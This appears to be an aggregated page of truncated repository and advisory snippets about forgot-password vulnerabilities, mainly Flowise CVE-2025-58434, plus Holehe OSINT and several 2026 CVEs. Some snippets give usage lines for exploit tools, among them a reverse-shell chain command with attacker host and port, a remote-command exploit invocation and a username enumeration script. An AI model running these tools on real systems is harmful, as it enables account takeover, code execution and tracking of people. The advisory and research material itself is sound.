holehe

Holehe OSINT - 通过电子邮件查找已注册账户 👋 你好！对于任何专业咨询或合作，请通过以下邮箱联系我： [email protected] 📧 请尽量使用您的专业邮箱进行通信。让我们保持简洁明了，并且全部使用英语！ Holehe 在线版本 摘要 高效地从电子邮件中查找已注册的账户。 Holehe 可以检测一个邮箱是否已在 Twitter、Instagram、Imgur 等 120 多个网站上注册了账户。 利用“忘记密码”功能获取信息。 不会向目标邮箱发送警报。 基于 Python 3 运行。 🛠️ 安装 通过 PyPI pip3 install holehe 通过...

Flowise <= 3.0.5 - Account Takeover

Flowise versions 3.0.5 and earlier had a vulnerability in the forgot-password endpoint, which returned valid reset tokens without authentication—allowing attackers to reset passwords and take over accounts. id: CVE-2025-58434 info: name: Flowise = 3.0.5 - Account Takeover author:...

POC-CVE-2026-18963

CVE-2026-18963 — PoC de omisión de autenticación en el flujo de «Olvidé mi contraseña» de Keycloak Prueba de concepto para CVE-2026-18963 , una vulnerabilidad en el flujo de «Olvidé mi contraseña» / selección de credenciales de Keycloak que permite a un atacante alcanzar el paso UPDATEPASSWORD — ...

CVE-2025-58434-PoC

CVE-2025-58434 PoC 用于触发 POST /api/v1/account/forgot-password 的 Python 概念验证脚本。 ⚠️ 仅供教育和已获授权的安全研究使用。 将此工具用于你不拥有或未经书面许可测试的系统是违法的。 致谢 zaddy6 Isaac David arthurgervais Arthur Gervais 详情 CVE-2025-58434 的 PoC 参考: https://github.com/advisories/GHSA-wgpv-6j63-x5ph 文件 poc.py: 提示输入机器 URL/IP、目标邮箱和密码（如果输入裸主机/I...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 影响 Flowise -c "id" 使用现有密钥的反弹 Shell ： python3 flowisechain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444 选项 标志| 描述 ---|--- -t, --target| 目标 URL -e, --email| 目标账户邮箱（触发 ATO 链） --api-key| 直接提供 API 密钥（跳过 ATO） -c, --command| 要执行的命令 --lhost| 攻击者 IP（反弹 Shell）...

CVE-2024-9441

CVE-2024-9441 漏洞描述： 该代码利用了一个由于基于PHP的Web应用中输入清理不当导致的远程代码执行（RCE）漏洞。具体弱点存在于“忘记密码”功能（index.php?c=user&m=forgotpassword）中，用户输入未经过适当清理，允许攻击者向服务器注入任意PHP代码。 该脚本利用基于PHP的应用中的漏洞，向服务器上传恶意PHP脚本，并通过HTTP请求执行系统命令。 使用步骤： python exploit.py "/bin/ls -al /var/www/html" 如果利用成功，您应在终端输出中看到目录内容。...

CVE-2024-34582

CVE-2024-34582 影响最新版本的Mozilla和Chrome浏览器、Sunhillo Rici5k及Sureline设备 运行在Sunhillo设备上的最新版本Web服务器容易受到反射型XSS攻击。该漏洞存在于/cgi/usrPasswd.cgi中的useridchange参数内。当用户通过Web服务器的“忘记密码”功能尝试重置密码时，此参数会被复制到HTML标签的值中。 攻击者可以利用此漏洞构造一个请求，如果其他应用程序用户触发了该请求，将导致恶意Javascript代码在用户与该应用程序的浏览器会话上下文中执行。...

CVE-2026-105127 LaraDashboard 1.4.2 before 1.4.8 Resource Exhaustion via Password Recovery Endpoints

LaraDashboard 1.4.2 before 1.4.8 applies advanced email validation to unauthenticated forgot-password and reset-password requests, triggering DNS lookups and paid AbstractAPI verification calls. Unauthenticated attackers can submit arbitrary addresses to exhaust the verification quota, making...

CVE-2026-105127

The LaraDashboard software (versions 1.4.2 before 1.4.8 ) is vulnerable to a resource exhaustion issue within its unauthenticated forgot-password and reset-password endpoints. The root cause is the application's use of advanced email validation, which triggers external DNS lookups and paid Abstra...

CVE-2026-105127 LaraDashboard 1.4.2 before 1.4.8 Resource Exhaustion via Password Recovery Endpoints

LaraDashboard 1.4.2 before 1.4.8 applies advanced email validation to unauthenticated forgot-password and reset-password requests, triggering DNS lookups and paid AbstractAPI verification calls. Unauthenticated attackers can submit arbitrary addresses to exhaust the verification quota, making...

CVE-2025-46047

CVE-2025-46047 Silverpeas -u 示例： python silverpeasenumpoc.py http://vulnerable-silverpeas.local -u admin 从文件测试用户名： python silverpeasenumpoc.py -w 示例： python silverpeasenumpoc.py https://vulnerable-silverpeas.com -w users.txt 输出 脚本将输出： + 用户名 '...' 似乎有效（状态码: 200） 对于可能对应现有账户的用户名。 - 用户名 '...' 似乎无效（状态...

Flowise-CVE-2025-58434-PasswordReset

CVE-2025-58434 - Flowise AI Unauthenticated Password Reset Overview CVE ID: CVE-2025-58434 Affected Software: Flowise AI Vulnerable Versions: = 3.0.5 Fixed Version: 3.0.6 and later Severity: Critical Author: arensballiu Date: 2025 Description Flowise AI versions up to and including 3.0.5 contain ...

CVE-2025-58434_CVE-2025-59528

CVE-2025-58434CVE-2025-59528 概念验证脚本 CVE-2025-58434 Flowise -lp...

CVE-2025-58434-Unauthenticated-Password-Reset-Flowwise

Flowise 密码重置账户接管（ATO） 仅供研究和测试使用！如果此工具未按预期使用，我对生产基础设施造成的任何损害概不负责。仅可在您拥有或获准测试的系统上使用！ 用法 usage: CVE-2025-58434-PasswordResetNew.py -h -u URL -e EMAIL -p PASSWORD Flowise Password Reset Exploit ATO options: -h, --help show this help message and exit -u, --url URL Base URL of the Flowise instance e.g...

CVE-2026-31283

CVE-2026-31283 描述 忘记密码功能可被用于对受害者邮箱发起邮件炸弹攻击。 CVSS 3 分数：7.5 高危 攻击类型 远程（未认证） 受影响版本 版本早于或等于 19.1.5 产品供应商 Totara 受影响产品代码库 Totara LMS 受影响组件 忘记密码 API。 缓解措施 对忘记密码 API 实施速率限制。 漏洞详情 忘记密码 API 未对目标电子邮件地址实施速率限制，该漏洞可被用于邮件炸弹攻击。 已修复版本 高于 19.1.5 的版本 发现者： Yazan Abu-Nadi...

PT-2026-96298

Name of the Vulnerable Software and Affected Versions Gladys Assistant versions prior to 5.1.0 Description An issue exists where unauthenticated remote attackers can obtain valid password reset tokens for any account. This occurs due to a lack of server-side validation of the client-supplied orig...

CVE-2026-86452

Affected versions of MISP permit unauthenticated or weakly constrained request paths to perform persistent work without adequate input bounds or rate limiting. The users/forgot password-reset endpoint accepted an attacker-controlled email value without first imposing a reasonable length bound or...

CVE-2026-86452 MISP Unauthenticated Mail Endpoints Allow Unbounded Storage Consumption and Request Flooding

Affected versions of MISP permit unauthenticated or weakly constrained request paths to perform persistent work without adequate input bounds or rate limiting. The users/forgot password-reset endpoint accepted an attacker-controlled email value without first imposing a reasonable length bound or...

CVE-2026-86196: Authentication Bypass by Spoofing

Grav API plugin versions before 1.0.20 build password reset links from the untrusted Host header in the forgot-password endpoint, allowing unauthenticated attackers to redirect reset tokens to attacker-controlled domains. Attackers can send password reset requests for any account with a malicious...

CVE-2026-81033

Automatisch reveals whether an address is registered through the response to its forgot-password request. The controller at packages/backend/src/controllers/internal/api/v1/users/forgot-password.js looks the address up and chains a not-found throw onto the query, so an address with no account...